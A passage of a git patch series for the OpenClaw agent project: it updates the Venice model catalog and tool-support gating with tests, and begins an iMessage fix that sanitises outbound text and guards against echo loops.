DEFAULT_CONTEXT_TOKENS, DEFAULT_MODEL, DEFAULT_PROVIDER } from "../defaults.js"; import { resolveOpenClawDocsPath } from "../docs-path.js"; import { getApiKeyForModel, resolveModelAuthMode } from "../model-auth.js"; +import { supportsModelTools } from "../model-tool-support.js"; import { ensureOpenClawModelsJson } from "../models-config.js"; import { resolveOwnerDisplaySetting } from "../owner-display.js"; import { @@ -400,7 +401,10 @@ export async function compactEmbeddedPiSessionDirect( modelContextWindowTokens: model.contextWindow, modelAuthMode: resolveModelAuthMode(model.provider, params.config), }); - const tools = sanitizeToolsForGoogle({ tools: toolsRaw, provider }); + const tools = sanitizeToolsForGoogle({ + tools: supportsModelTools(model) ? toolsRaw : [], + provider, + }); const allowedToolNames = collectAllowedToolNames({ tools }); logToolSchemasForGoogle({ tools, provider }); const machineName = await getMachineDisplayName(); diff --git a/src/agents/pi-embedded-runner/run/attempt.ts b/src/agents/pi-embedded-runner/run/attempt.ts index 61159c13357..e8bac7d6fba 100644 --- a/src/agents/pi-embedded-runner/run/attempt.ts +++ b/src/agents/pi-embedded-runner/run/attempt.ts @@ -49,6 +49,7 @@ import { isTimeoutError } from "../../failover-error.js"; import { resolveImageSanitizationLimits } from "../../image-sanitization.js"; import { resolveModelAuthMode } from "../../model-auth.js"; import { normalizeProviderId, resolveDefaultModelForAgent } from "../../model-selection.js"; +import { supportsModelTools } from "../../model-tool-support.js"; import { createOllamaStreamFn, OLLAMA_NATIVE_BASE_URL } from "../../ollama-stream.js"; import { createOpenAIWebSocketStreamFn, releaseWsSession } from "../../openai-ws-stream.js"; import { resolveOwnerDisplaySetting } from "../../owner-display.js"; @@ -878,10 +879,15 @@ export async function runEmbeddedAttempt( params.requireExplicitMessageTarget ?? isSubagentSessionKey(params.sessionKey), disableMessageTool: params.disableMessageTool, }); - const tools = sanitizeToolsForGoogle({ tools: toolsRaw, provider: params.provider }); + const toolsEnabled = supportsModelTools(params.model); + const tools = sanitizeToolsForGoogle({ + tools: toolsEnabled ? toolsRaw : [], + provider: params.provider, + }); + const clientTools = toolsEnabled ? params.clientTools : undefined; const allowedToolNames = collectAllowedToolNames({ tools, - clientTools: params.clientTools, + clientTools, }); logToolSchemasForGoogle({ tools, provider: params.provider }); @@ -1146,9 +1152,9 @@ export async function runEmbeddedAttempt( cfg: params.config, agentId: sessionAgentId, }); - const clientToolDefs = params.clientTools + const clientToolDefs = clientTools ? toClientToolDefinitions( - params.clientTools, + clientTools, (toolName, toolParams) => { clientToolCallDetected = { name: toolName, params: toolParams }; }, diff --git a/src/agents/venice-models.test.ts b/src/agents/venice-models.test.ts index 95fc7f61f8a..5a93568f9b7 100644 --- a/src/agents/venice-models.test.ts +++ b/src/agents/venice-models.test.ts @@ -42,6 +42,7 @@ function makeModelsResponse(id: string): Response { name: id, privacy: "private", availableContextTokens: 131072, + maxCompletionTokens: 4096, capabilities: { supportsReasoning: false, supportsVision: false, @@ -94,6 +95,239 @@ describe("venice-models", () => { expect(models.map((m) => m.id)).toContain("llama-3.3-70b"); }); + it("uses API maxCompletionTokens for catalog models when present", async () => { + const fetchMock = vi.fn( + async () => + new Response( + JSON.stringify({ + data: [ + { + id: "llama-3.3-70b", + model_spec: { + name: "llama-3.3-70b", + privacy: "private", + availableContextTokens: 131072, + maxCompletionTokens: 2048, + capabilities: { + supportsReasoning: false, + supportsVision: false, + supportsFunctionCalling: true, + }, + }, + }, + ], + }), + { + status: 200, + headers: { "Content-Type": "application/json" }, + }, + ), + ); + vi.stubGlobal("fetch", fetchMock as unknown as typeof fetch); + + const models = await runWithDiscoveryEnabled(() => discoverVeniceModels()); + const llama = models.find((m) => m.id === "llama-3.3-70b"); + expect(llama?.maxTokens).toBe(2048); + }); + + it("retains catalog maxTokens when the API omits maxCompletionTokens", async () => { + const fetchMock = vi.fn( + async () => + new Response( + JSON.stringify({ + data: [ + { + id: "qwen3-235b-a22b-instruct-2507", + model_spec: { + name: "qwen3-235b-a22b-instruct-2507", + privacy: "private", + availableContextTokens: 131072, + capabilities: { + supportsReasoning: false, + supportsVision: false, + supportsFunctionCalling: true, + }, + }, + }, + ], + }), + { + status: 200, + headers: { "Content-Type": "application/json" }, + }, + ), + ); + vi.stubGlobal("fetch", fetchMock as unknown as typeof fetch); + + const models = await runWithDiscoveryEnabled(() => discoverVeniceModels()); + const qwen = models.find((m) => m.id === "qwen3-235b-a22b-instruct-2507"); + expect(qwen?.maxTokens).toBe(16384); + }); + + it("disables tools for catalog models that do not support function calling", () => { + const model = buildVeniceModelDefinition( + VENICE_MODEL_CATALOG.find((entry) => entry.id === "deepseek-v3.2")!, + ); + expect(model.compat?.supportsTools).toBe(false); + }); + + it("uses a conservative bounded maxTokens value for new models", async () => { + const fetchMock = vi.fn( + async () => + new Response( + JSON.stringify({ + data: [ + { + id: "new-model-2026", + model_spec: { + name: "new-model-2026", + privacy: "private", + availableContextTokens: 50_000, + maxCompletionTokens: 200_000, + capabilities: { + supportsReasoning: false, + supportsVision: false, + supportsFunctionCalling: false, + }, + }, + }, + ], + }), + { + status: 200, + headers: { "Content-Type": "application/json" }, + }, + ), + ); + vi.stubGlobal("fetch", fetchMock as unknown as typeof fetch); + + const models = await runWithDiscoveryEnabled(() => discoverVeniceModels()); + const newModel = models.find((m) => m.id === "new-model-2026"); + expect(newModel?.maxTokens).toBe(50000); + expect(newModel?.maxTokens).toBeLessThanOrEqual(newModel?.contextWindow ?? Infinity); + expect(newModel?.compat?.supportsTools).toBe(false); + }); + + it("caps new-model maxTokens to the fallback context window when API context is missing", async () => { + const fetchMock = vi.fn( + async () => + new Response( + JSON.stringify({ + data: [ + { + id: "new-model-without-context", + model_spec: { + name: "new-model-without-context", + privacy: "private", + maxCompletionTokens: 200_000, + capabilities: { + supportsReasoning: false, + supportsVision: false, + supportsFunctionCalling: true, + }, + }, + }, + ], + }), + { + status: 200, + headers: { "Content-Type": "application/json" }, + }, + ), + ); + vi.stubGlobal("fetch", fetchMock as unknown as typeof fetch); + + const models = await runWithDiscoveryEnabled(() => discoverVeniceModels()); + const newModel = models.find((m) => m.id === "new-model-without-context"); + expect(newModel?.contextWindow).toBe(128000); + expect(newModel?.maxTokens).toBe(128000); + }); + + it("ignores missing capabilities on partial metadata instead of aborting discovery", async () => { + const fetchMock = vi.fn( + async () => + new Response( + JSON.stringify({ + data: [ + { + id: "llama-3.3-70b", + model_spec: { + name: "llama-3.3-70b", + privacy: "private", + availableContextTokens: 131072, + maxCompletionTokens: 2048, + }, + }, + { + id: "new-model-partial", + model_spec: { + name: "new-model-partial", + privacy: "private", + maxCompletionTokens: 2048, + }, + }, + ], + }), + { + status: 200, + headers: { "Content-Type": "application/json" }, + }, + ), + ); + vi.stubGlobal("fetch", fetchMock as unknown as typeof fetch); + + const models = await runWithDiscoveryEnabled(() => discoverVeniceModels()); + const knownModel = models.find((m) => m.id === "llama-3.3-70b"); + const partialModel = models.find((m) => m.id === "new-model-partial"); + expect(models).not.toHaveLength(VENICE_MODEL_CATALOG.length); + expect(knownModel?.maxTokens).toBe(2048); + expect(partialModel?.contextWindow).toBe(128000); + expect(partialModel?.maxTokens).toBe(2048); + expect(partialModel?.compat?.supportsTools).toBeUndefined(); + }); + + it("keeps known models discoverable when a row omits model_spec", async () => { + const fetchMock = vi.fn( + async () => + new Response( + JSON.stringify({ + data: [ + { + id: "llama-3.3-70b", + }, + { + id: "new-model-valid", + model_spec: { + name: "new-model-valid", + privacy: "private", + availableContextTokens: 32_000, + maxCompletionTokens: 2_048, + capabilities: { + supportsReasoning: false, + supportsVision: false, + supportsFunctionCalling: true, + }, + }, + }, + ], + }), + { + status: 200, + headers: { "Content-Type": "application/json" }, + }, + ), + ); + vi.stubGlobal("fetch", fetchMock as unknown as typeof fetch); + + const models = await runWithDiscoveryEnabled(() => discoverVeniceModels()); + const knownModel = models.find((m) => m.id === "llama-3.3-70b"); + const newModel = models.find((m) => m.id === "new-model-valid"); + expect(models).not.toHaveLength(VENICE_MODEL_CATALOG.length); + expect(knownModel?.maxTokens).toBe(4096); + expect(newModel?.contextWindow).toBe(32000); + expect(newModel?.maxTokens).toBe(2048); + }); + it("falls back to static catalog after retry budget is exhausted", async () => { const fetchMock = vi.fn(async () => { throw Object.assign(new TypeError("fetch failed"), { diff --git a/src/agents/venice-models.ts b/src/agents/venice-models.ts index b33b51c60a8..47dcf4d2f4d 100644 --- a/src/agents/venice-models.ts +++ b/src/agents/venice-models.ts @@ -17,6 +17,9 @@ export const VENICE_DEFAULT_COST = { cacheWrite: 0, }; +const VENICE_DEFAULT_CONTEXT_WINDOW = 128_000; +const VENICE_DEFAULT_MAX_TOKENS = 4096; +const VENICE_DISCOVERY_HARD_MAX_TOKENS = 131_072; const VENICE_DISCOVERY_TIMEOUT_MS = 10_000; const VENICE_DISCOVERY_RETRYABLE_HTTP_STATUS = new Set([408, 425, 429, 500, 502, 503, 504]); const VENICE_DISCOVERY_RETRYABLE_NETWORK_CODES = new Set([ @@ -59,8 +62,8 @@ export const VENICE_MODEL_CATALOG = [ name: "Llama 3.3 70B", reasoning: false, input: ["text"], - contextWindow: 131072, - maxTokens: 8192, + contextWindow: 128000, + maxTokens: 4096, privacy: "private", }, { @@ -68,8 +71,8 @@ export const VENICE_MODEL_CATALOG = [ name: "Llama 3.2 3B", reasoning: false, input: ["text"], - contextWindow: 131072, - maxTokens: 8192, + contextWindow: 128000, + maxTokens: 4096, privacy: "private", }, { @@ -77,8 +80,9 @@ export const VENICE_MODEL_CATALOG = [ name: "Hermes 3 Llama 3.1 405B", reasoning: false, input: ["text"], - contextWindow: 131072, - maxTokens: 8192, + contextWindow: 128000, + maxTokens: 16384, + supportsTools: false, privacy: "private", }, @@ -88,8 +92,8 @@ export const VENICE_MODEL_CATALOG = [ name: "Qwen3 235B Thinking", reasoning: true, input: ["text"], - contextWindow: 131072, - maxTokens: 8192, + contextWindow: 128000, + maxTokens: 16384, privacy: "private", }, { @@ -97,8 +101,8 @@ export const VENICE_MODEL_CATALOG = [ name: "Qwen3 235B Instruct", reasoning: false, input: ["text"], - contextWindow: 131072, - maxTokens: 8192, + contextWindow: 128000, + maxTokens: 16384, privacy: "private", }, { @@ -106,8 +110,26 @@ export const VENICE_MODEL_CATALOG = [ name: "Qwen3 Coder 480B", reasoning: false, input: ["text"], - contextWindow: 262144, - maxTokens: 8192, + contextWindow: 256000, + maxTokens: 65536, + privacy: "private", + }, + { + id: "qwen3-coder-480b-a35b-instruct-turbo", + name: "Qwen3 Coder 480B Turbo", + reasoning: false, + input: ["text"], + contextWindow: 256000, + maxTokens: 65536, + privacy: "private", + }, + { + id: "qwen3-5-35b-a3b", + name: "Qwen3.5 35B A3B", + reasoning: true, + input: ["text", "image"], + contextWindow: 256000, + maxTokens: 65536, privacy: "private", }, { @@ -115,8 +137,8 @@ export const VENICE_MODEL_CATALOG = [ name: "Qwen3 Next 80B", reasoning: false, input: ["text"], - contextWindow: 262144, - maxTokens: 8192, + contextWindow: 256000, + maxTokens: 16384, privacy: "private", }, { @@ -124,8 +146,8 @@ export const VENICE_MODEL_CATALOG = [ name: "Qwen3 VL 235B (Vision)", reasoning: false, input: ["text", "image"], - contextWindow: 262144, - maxTokens: 8192, + contextWindow: 256000, + maxTokens: 16384, privacy: "private", }, { @@ -133,8 +155,8 @@ export const VENICE_MODEL_CATALOG = [ name: "Venice Small (Qwen3 4B)", reasoning: true, input: ["text"], - contextWindow: 32768, - maxTokens: 8192, + contextWindow: 32000, + maxTokens: 4096, privacy: "private", }, @@ -144,8 +166,9 @@ export const VENICE_MODEL_CATALOG = [ name: "DeepSeek V3.2", reasoning: true, input: ["text"], - contextWindow: 163840, - maxTokens: 8192, + contextWindow: 160000, + maxTokens: 32768, + supportsTools: false, privacy: "private", }, @@ -155,8 +178,9 @@ export const VENICE_MODEL_CATALOG = [ name: "Venice Uncensored (Dolphin-Mistral)", reasoning: false, input: ["text"], - contextWindow: 32768, - maxTokens: 8192, + contextWindow: 32000, + maxTokens: 4096, + supportsTools: false, privacy: "private", }, { @@ -164,8 +188,8 @@ export const VENICE_MODEL_CATALOG = [ name: "Venice Medium (Mistral)", reasoning: false, input: ["text", "image"], - contextWindow: 131072, - maxTokens: 8192, + contextWindow: 128000, + maxTokens: 4096, privacy: "private", }, @@ -175,8 +199,8 @@ export const VENICE_MODEL_CATALOG = [ name: "Google Gemma 3 27B Instruct", reasoning: false, input: ["text", "image"], - contextWindow: 202752, - maxTokens: 8192, + contextWindow: 198000, + maxTokens: 16384, privacy: "private", }, { @@ -184,8 +208,35 @@ export const VENICE_MODEL_CATALOG = [ name: "OpenAI GPT OSS 120B", reasoning: false, input: ["text"], - contextWindow: 131072, - maxTokens: 8192, + contextWindow: 128000, + maxTokens: 16384, + privacy: "private", + }, + { + id: "nvidia-nemotron-3-nano-30b-a3b", + name: "NVIDIA Nemotron 3 Nano 30B", + reasoning: false, + input: ["text"], + contextWindow: 128000, + maxTokens: 16384, + privacy: "private", + }, + { + id: "olafangensan-glm-4.7-flash-heretic", + name: "GLM 4.7 Flash Heretic", + reasoning: true, + input: ["text"], + contextWindow: 128000, + maxTokens: 24000, + privacy: "private", + }, + { + id: "zai-org-glm-4.6", + name: "GLM 4.6", + reasoning: false, + input: ["text"], + contextWindow: 198000, + maxTokens: 16384, privacy: "private", }, { @@ -193,8 +244,62 @@ export const VENICE_MODEL_CATALOG = [ name: "GLM 4.7", reasoning: true, input: ["text"], - contextWindow: 202752, - maxTokens: 8192, + contextWindow: 198000, + maxTokens: 16384, + privacy: "private", + }, + { + id: "zai-org-glm-4.7-flash", + name: "GLM 4.7 Flash", + reasoning: true, + input: ["text"], + contextWindow: 128000, + maxTokens: 16384, + privacy: "private", + }, + { + id: "zai-org-glm-5", + name: "GLM 5", + reasoning: true, + input: ["text"], + contextWindow: 198000, + maxTokens: 32000, + privacy: "private", + }, + { + id: "kimi-k2-5", + name: "Kimi K2.5", + reasoning: true, + input: ["text", "image"], + contextWindow: 256000, + maxTokens: 65536, + privacy: "private", + }, + { + id: "kimi-k2-thinking", + name: "Kimi K2 Thinking", + reasoning: true, + input: ["text"], + contextWindow: 256000, + maxTokens: 65536, + privacy: "private", + }, + { + id: "minimax-m21", + name: "MiniMax M2.1", + reasoning: true, + input: ["text"], + contextWindow: 198000, + maxTokens: 32768, + privacy: "private", + }, + { + id: "minimax-m25", + name: "MiniMax M2.5", + reasoning: true, + input: ["text"], + contextWindow: 198000, + maxTokens: 32768, privacy: "private", }, @@ -205,21 +310,39 @@ export const VENICE_MODEL_CATALOG = [ // Anthropic (via Venice) { - id: "claude-opus-45", + id: "claude-opus-4-5", name: "Claude Opus 4.5 (via Venice)", reasoning: true, input: ["text", "image"], - contextWindow: 202752, - maxTokens: 8192, + contextWindow: 198000, + maxTokens: 32768, privacy: "anonymized", }, { - id: "claude-sonnet-45", + id: "claude-opus-4-6", + name: "Claude Opus 4.6 (via Venice)", + reasoning: true, + input: ["text", "image"], + contextWindow: 1000000, + maxTokens: 128000, + privacy: "anonymized", + }, + { + id: "claude-sonnet-4-5", name: "Claude Sonnet 4.5 (via Venice)", reasoning: true, input: ["text", "image"], - contextWindow: 202752, - maxTokens: 8192, + contextWindow: 198000, + maxTokens: 64000, + privacy: "anonymized", + }, + { + id: "claude-sonnet-4-6", + name: "Claude Sonnet 4.6 (via Venice)", + reasoning: true, + input: ["text", "image"], + contextWindow: 1000000, + maxTokens: 64000, privacy: "anonymized", }, @@ -229,8 +352,8 @@ export const VENICE_MODEL_CATALOG = [ name: "GPT-5.2 (via Venice)", reasoning: true, input: ["text"], - contextWindow: 262144, - maxTokens: 8192, + contextWindow: 256000, + maxTokens: 65536, privacy: "anonymized", }, { @@ -238,8 +361,44 @@ export const VENICE_MODEL_CATALOG = [ name: "GPT-5.2 Codex (via Venice)", reasoning: true, input: ["text", "image"], - contextWindow: 262144, - maxTokens: 8192, + contextWindow: 256000, + maxTokens: 65536, + privacy: "anonymized", + }, + { + id: "openai-gpt-53-codex", + name: "GPT-5.3 Codex (via Venice)", + reasoning: true, + input: ["text", "image"], + contextWindow: 400000, + maxTokens: 128000, + privacy: "anonymized", + }, + { + id: "openai-gpt-54", + name: "GPT-5.4 (via Venice)", + reasoning: true, + input: ["text", "image"], + contextWindow: 1000000, + maxTokens: 131072, + privacy: "anonymized", + }, + { + id: "openai-gpt-4o-2024-11-20", + name: "GPT-4o (via Venice)", + reasoning: false, + input: ["text", "image"], + contextWindow: 128000, + maxTokens: 16384, + privacy: "anonymized", + }, + { + id: "openai-gpt-4o-mini-2024-07-18", + name: "GPT-4o Mini (via Venice)", + reasoning: false, + input: ["text", "image"], + contextWindow: 128000, + maxTokens: 16384, privacy: "anonymized", }, @@ -249,8 +408,17 @@ export const VENICE_MODEL_CATALOG = [ name: "Gemini 3 Pro (via Venice)", reasoning: true, input: ["text", "image"], - contextWindow: 202752, - maxTokens: 8192, + contextWindow: 198000, + maxTokens: 32768, + privacy: "anonymized", + }, + { + id: "gemini-3-1-pro-preview", + name: "Gemini 3.1 Pro (via Venice)", + reasoning: true, + input: ["text", "image"], + contextWindow: 1000000, + maxTokens: 32768, privacy: "anonymized", }, { @@ -258,8 +426,8 @@ export const VENICE_MODEL_CATALOG = [ name: "Gemini 3 Flash (via Venice)", reasoning: true, input: ["text", "image"], - contextWindow: 262144, - maxTokens: 8192, + contextWindow: 256000, + maxTokens: 65536, privacy: "anonymized", }, @@ -269,8 +437,8 @@ export const VENICE_MODEL_CATALOG = [ name: "Grok 4.1 Fast (via Venice)", reasoning: true, input: ["text", "image"], - contextWindow: 262144, - maxTokens: 8192, + contextWindow: 1000000, + maxTokens: 30000, privacy: "anonymized", }, { @@ -278,28 +446,8 @@ export const VENICE_MODEL_CATALOG = [ name: "Grok Code Fast 1 (via Venice)", reasoning: true, input: ["text"], - contextWindow: 262144, - maxTokens: 8192, - privacy: "anonymized", - }, - - // Other anonymized models - { - id: "kimi-k2-thinking", - name: "Kimi K2 Thinking (via Venice)", - reasoning: true, - input: ["text"], - contextWindow: 262144, - maxTokens: 8192, - privacy: "anonymized", - }, - { - id: "minimax-m21", - name: "MiniMax M2.5 (via Venice)", - reasoning: true, - input: ["text"], - contextWindow: 202752, - maxTokens: 8192, + contextWindow: 256000, + maxTokens: 10000, privacy: "anonymized", }, ] as const; @@ -326,6 +474,7 @@ export function buildVeniceModelDefinition(entry: VeniceCatalogEntry): ModelDefi // See: https://github.com/openclaw/openclaw/issues/15819 compat: { supportsUsageInStreaming: false, + ...("supportsTools" in entry && !entry.supportsTools ? { supportsTools: false } : {}), }, }; } @@ -334,17 +483,18 @@ export function buildVeniceModelDefinition(entry: VeniceCatalogEntry): ModelDefi interface VeniceModelSpec { name: string; privacy: "private" | "anonymized"; - availableContextTokens: number; - capabilities: { - supportsReasoning: boolean; - supportsVision: boolean; - supportsFunctionCalling: boolean; + availableContextTokens?: number; + maxCompletionTokens?: number; + capabilities?: { + supportsReasoning?: boolean; + supportsVision?: boolean; + supportsFunctionCalling?: boolean; }; } interface VeniceModel { id: string; - model_spec: VeniceModelSpec; + model_spec?: VeniceModelSpec; } interface VeniceModelsResponse { @@ -412,6 +562,36 @@ function isRetryableVeniceDiscoveryError(err: unknown): boolean { return hasRetryableNetworkCode(err); } +function normalizePositiveInt(value: unknown): number | undefined { + if (typeof value !== "number" || !Number.isFinite(value) || value <= 0) { + return undefined; + } + return Math.floor(value); +} + +function resolveApiMaxCompletionTokens(params: { + apiModel: VeniceModel; + knownMaxTokens?: number; +}): number | undefined { + const raw = normalizePositiveInt(params.apiModel.model_spec?.maxCompletionTokens); + if (!raw) { + return undefined; + } + const contextWindow = normalizePositiveInt(params.apiModel.model_spec?.availableContextTokens); + const knownMaxTokens = + typeof params.knownMaxTokens === "number" && Number.isFinite(params.knownMaxTokens) + ? Math.floor(params.knownMaxTokens) + : undefined; + const hardCap = knownMaxTokens ?? VENICE_DISCOVERY_HARD_MAX_TOKENS; + const fallbackContextWindow = knownMaxTokens ?? VENICE_DEFAULT_CONTEXT_WINDOW; + return Math.min(raw, contextWindow ?? fallbackContextWindow, hardCap); +} + +function resolveApiSupportsTools(apiModel: VeniceModel): boolean | undefined { + const supportsFunctionCalling = apiModel.model_spec?.capabilities?.supportsFunctionCalling; + return typeof supportsFunctionCalling === "boolean" ? supportsFunctionCalling : undefined; +} + /** * Discover models from Venice API with fallback to static catalog. * The /models endpoint is public and doesn't require authentication. @@ -468,30 +648,50 @@ export async function discoverVeniceModels(): Promise { for (const apiModel of data.data) { const catalogEntry = catalogById.get(apiModel.id); + const apiMaxTokens = resolveApiMaxCompletionTokens({ + apiModel, + knownMaxTokens: catalogEntry?.maxTokens, + }); + const apiSupportsTools = resolveApiSupportsTools(apiModel); if (catalogEntry) { - // Use catalog metadata for known models - models.push(buildVeniceModelDefinition(catalogEntry)); + const definition = buildVeniceModelDefinition(catalogEntry); + if (apiMaxTokens !== undefined) { + definition.maxTokens = apiMaxTokens; + } + // We only let live discovery disable tools. Re-enabling tool support still + // requires a catalog update so a transient/bad /models response cannot + // silently expand the tool execution surface for known models. + if (apiSupportsTools === false) { + definition.compat = { + ...definition.compat, + supportsTools: false, + }; + } + models.push(definition); } else { // Create definition for newly discovered models not in catalog + const apiSpec = apiModel.model_spec; const isReasoning = - apiModel.model_spec.capabilities.supportsReasoning || + apiSpec?.capabilities?.supportsReasoning || apiModel.id.toLowerCase().includes("thinking") || apiModel.id.toLowerCase().includes("reason") || apiModel.id.toLowerCase().includes("r1"); - const hasVision = apiModel.model_spec.capabilities.supportsVision; + const hasVision = apiSpec?.capabilities?.supportsVision === true; models.push({ id: apiModel.id, - name: apiModel.model_spec.name || apiModel.id, + name: apiSpec?.name || apiModel.id, reasoning: isReasoning, input: hasVision ? ["text", "image"] : ["text"], cost: VENICE_DEFAULT_COST, - contextWindow: apiModel.model_spec.availableContextTokens || 128000, - maxTokens: 8192, + contextWindow: + normalizePositiveInt(apiSpec?.availableContextTokens) ?? VENICE_DEFAULT_CONTEXT_WINDOW, + maxTokens: apiMaxTokens ?? VENICE_DEFAULT_MAX_TOKENS, // Avoid usage-only streaming chunks that can break OpenAI-compatible parsers. compat: { supportsUsageInStreaming: false, + ...(apiSupportsTools === false ? { supportsTools: false } : {}), }, }); } diff --git a/src/config/types.models.ts b/src/config/types.models.ts index 6e7e9efe5f0..4ef646cc48a 100644 --- a/src/config/types.models.ts +++ b/src/config/types.models.ts @@ -18,6 +18,7 @@ export type ModelCompatConfig = { supportsDeveloperRole?: boolean; supportsReasoningEffort?: boolean; supportsUsageInStreaming?: boolean; + supportsTools?: boolean; supportsStrictMode?: boolean; maxTokensField?: "max_completion_tokens" | "max_tokens"; thinkingFormat?: "openai" | "zai" | "qwen"; diff --git a/src/config/zod-schema.core.ts b/src/config/zod-schema.core.ts index 48c4429940b..733917e4dac 100644 --- a/src/config/zod-schema.core.ts +++ b/src/config/zod-schema.core.ts @@ -188,6 +188,7 @@ export const ModelCompatSchema = z supportsDeveloperRole: z.boolean().optional(), supportsReasoningEffort: z.boolean().optional(), supportsUsageInStreaming: z.boolean().optional(), + supportsTools: z.boolean().optional(), supportsStrictMode: z.boolean().optional(), maxTokensField: z .union([z.literal("max_completion_tokens"), z.literal("max_tokens")]) From adb9234d0375df93d1ec96ce4008107788cc46c2 Mon Sep 17 00:00:00 2001 From: OfflynAI <140015627+joelnishanth@users.noreply.github.com> Date: Fri, 6 Mar 2026 16:19:57 -0800 Subject: [PATCH 077/844] fix(imessage): prevent echo loop from leaking internal metadata and amplifying NO_REPLY into queue overflow (#33295) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(imessage): prevent echo loop from leaking internal metadata and amplifying NO_REPLY into queue overflow - Add outbound sanitization at channel boundary (sanitize-outbound.ts): strips thinking/reasoning tags, relevant-memories tags, model-specific separators (+#+#), and assistant role markers before iMessage delivery - Add inbound reflection guard (reflection-guard.ts): detects and drops messages containing assistant-internal markers that indicate a reflected outbound message, preventing recursive echo amplification - Harden echo cache: increase text TTL from 5s to 30s to catch delayed reflections that previously expired before the echo could be detected - Add loop rate limiter (loop-rate-limiter.ts): per-conversation rapid-fire detection that suppresses conversations exceeding threshold within a time window, acting as a safety net against amplification Closes #33281 * fix(imessage): address review — stricter reflection regex, loop-aware rate limiter - Reflection guard: require closing > bracket on thinking/final/memory tag patterns to prevent false-positives on user phrases like '' or '' (#33295 review) - Rate limiter: only record echo/reflection/from-me drops instead of all dispatches, so the limiter acts as a loop-specific escalation mechanism rather than a general throttle on normal conversation velocity (#33295 review) * Changelog: add iMessage echo-loop hardening entry * iMessage: restore short echo-text TTL * iMessage: ignore reflection markers in code --------- Co-authored-by: Vincent Koc --- CHANGELOG.md | 1 + src/imessage/monitor/deliver.ts | 3 +- src/imessage/monitor/echo-cache.ts | 4 +- src/imessage/monitor/inbound-processing.ts | 14 ++- .../monitor/loop-rate-limiter.test.ts | 50 ++++++++ src/imessage/monitor/loop-rate-limiter.ts | 69 +++++++++++ .../monitor-provider.echo-cache.test.ts | 3 +- src/imessage/monitor/monitor-provider.ts | 27 ++++- src/imessage/monitor/reflection-guard.test.ts | 107 ++++++++++++++++++ src/imessage/monitor/reflection-guard.ts | 64 +++++++++++ .../monitor/sanitize-outbound.test.ts | 64 +++++++++++ src/imessage/monitor/sanitize-outbound.ts | 31 +++++ 12 files changed, 432 insertions(+), 5 deletions(-) create mode 100644 src/imessage/monitor/loop-rate-limiter.test.ts create mode 100644 src/imessage/monitor/loop-rate-limiter.ts create mode 100644 src/imessage/monitor/reflection-guard.test.ts create mode 100644 src/imessage/monitor/reflection-guard.ts create mode 100644 src/imessage/monitor/sanitize-outbound.test.ts create mode 100644 src/imessage/monitor/sanitize-outbound.ts diff --git a/CHANGELOG.md b/CHANGELOG.md index b1d0dfe4003..40b9027f7f9 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -103,6 +103,7 @@ Docs: https://docs.openclaw.ai - Gateway/HTTP tools invoke media compatibility: preserve raw media payload access for direct `/tools/invoke` clients by allowing media `nodes` invoke commands only in HTTP tool context, while keeping agent-context media invoke blocking to prevent base64 prompt bloat. (#34365) Thanks @obviyus. - Agents/Nodes media outputs: add dedicated `photos_latest` action handling, block media-returning `nodes invoke` commands, keep metadata-only `camera.list` invoke allowed, and normalize empty `photos_latest` results to a consistent response shape to prevent base64 context bloat. (#34332) Thanks @obviyus. - TUI/session-key canonicalization: normalize `openclaw tui --session` values to lowercase so uppercase session names no longer drop real-time streaming updates due to gateway/TUI key mismatches. (#33866, #34013) thanks @lynnzc. +- iMessage/echo loop hardening: strip leaked assistant-internal scaffolding from outbound iMessage replies, drop reflected assistant-content messages before they re-enter inbound processing, extend echo-cache text retention for delayed reflections, and suppress repeated loop traffic before it amplifies into queue overflow. (#33295) Thanks @joelnishanth. - Outbound/send config threading: pass resolved SecretRef config through outbound adapters and helper send paths so send flows do not reload unresolved runtime config. (#33987) Thanks @joshavant. - Sessions/subagent attachments: remove `attachments[].content.maxLength` from `sessions_spawn` schema to avoid llama.cpp GBNF repetition overflow, and preflight UTF-8 byte size before buffer allocation while keeping runtime file-size enforcement unchanged. (#33648) Thanks @anisoptera. - Runtime/tool-state stability: recover from dangling Anthropic `tool_use` after compaction, serialize long-running Discord handler runs without blocking new inbound events, and prevent stale busy snapshots from suppressing stuck-channel recovery. (from #33630, #33583) Thanks @kevinWangSheng and @theotarr. diff --git a/src/imessage/monitor/deliver.ts b/src/imessage/monitor/deliver.ts index 71825be8d0b..fc949d3cfc1 100644 --- a/src/imessage/monitor/deliver.ts +++ b/src/imessage/monitor/deliver.ts @@ -7,6 +7,7 @@ import type { RuntimeEnv } from "../../runtime.js"; import type { createIMessageRpcClient } from "../client.js"; import { sendMessageIMessage } from "../send.js"; import type { SentMessageCache } from "./echo-cache.js"; +import { sanitizeOutboundText } from "./sanitize-outbound.js"; export async function deliverReplies(params: { replies: ReplyPayload[]; @@ -30,7 +31,7 @@ export async function deliverReplies(params: { const chunkMode = resolveChunkMode(cfg, "imessage", accountId); for (const payload of replies) { const mediaList = payload.mediaUrls ?? (payload.mediaUrl ? [payload.mediaUrl] : []); - const rawText = payload.text ?? ""; + const rawText = sanitizeOutboundText(payload.text ?? ""); const text = convertMarkdownTables(rawText, tableMode); if (!text && mediaList.length === 0) { continue; diff --git a/src/imessage/monitor/echo-cache.ts b/src/imessage/monitor/echo-cache.ts index c68ff04b970..06f5ee847f5 100644 --- a/src/imessage/monitor/echo-cache.ts +++ b/src/imessage/monitor/echo-cache.ts @@ -8,7 +8,9 @@ export type SentMessageCache = { has: (scope: string, lookup: SentMessageLookup) => boolean; }; -const SENT_MESSAGE_TEXT_TTL_MS = 5000; +// Keep the text fallback short so repeated user replies like "ok" are not +// suppressed for long; delayed reflections should match the stronger message-id key. +const SENT_MESSAGE_TEXT_TTL_MS = 5_000; const SENT_MESSAGE_ID_TTL_MS = 60_000; function normalizeEchoTextKey(text: string | undefined): string | null { diff --git a/src/imessage/monitor/inbound-processing.ts b/src/imessage/monitor/inbound-processing.ts index 8a4979df965..d042f1f1a0f 100644 --- a/src/imessage/monitor/inbound-processing.ts +++ b/src/imessage/monitor/inbound-processing.ts @@ -30,6 +30,7 @@ import { isAllowedIMessageSender, normalizeIMessageHandle, } from "../targets.js"; +import { detectReflectedContent } from "./reflection-guard.js"; import type { MonitorIMessageOpts, IMessagePayload } from "./types.js"; type IMessageReplyContext = { @@ -214,7 +215,7 @@ export function resolveIMessageInboundDecision(params: { return { kind: "drop", reason: "empty body" }; } - // Echo detection: check if the received message matches a recently sent message (within 5 seconds). + // Echo detection: check if the received message matches a recently sent message. // Scope by conversation so same text in different 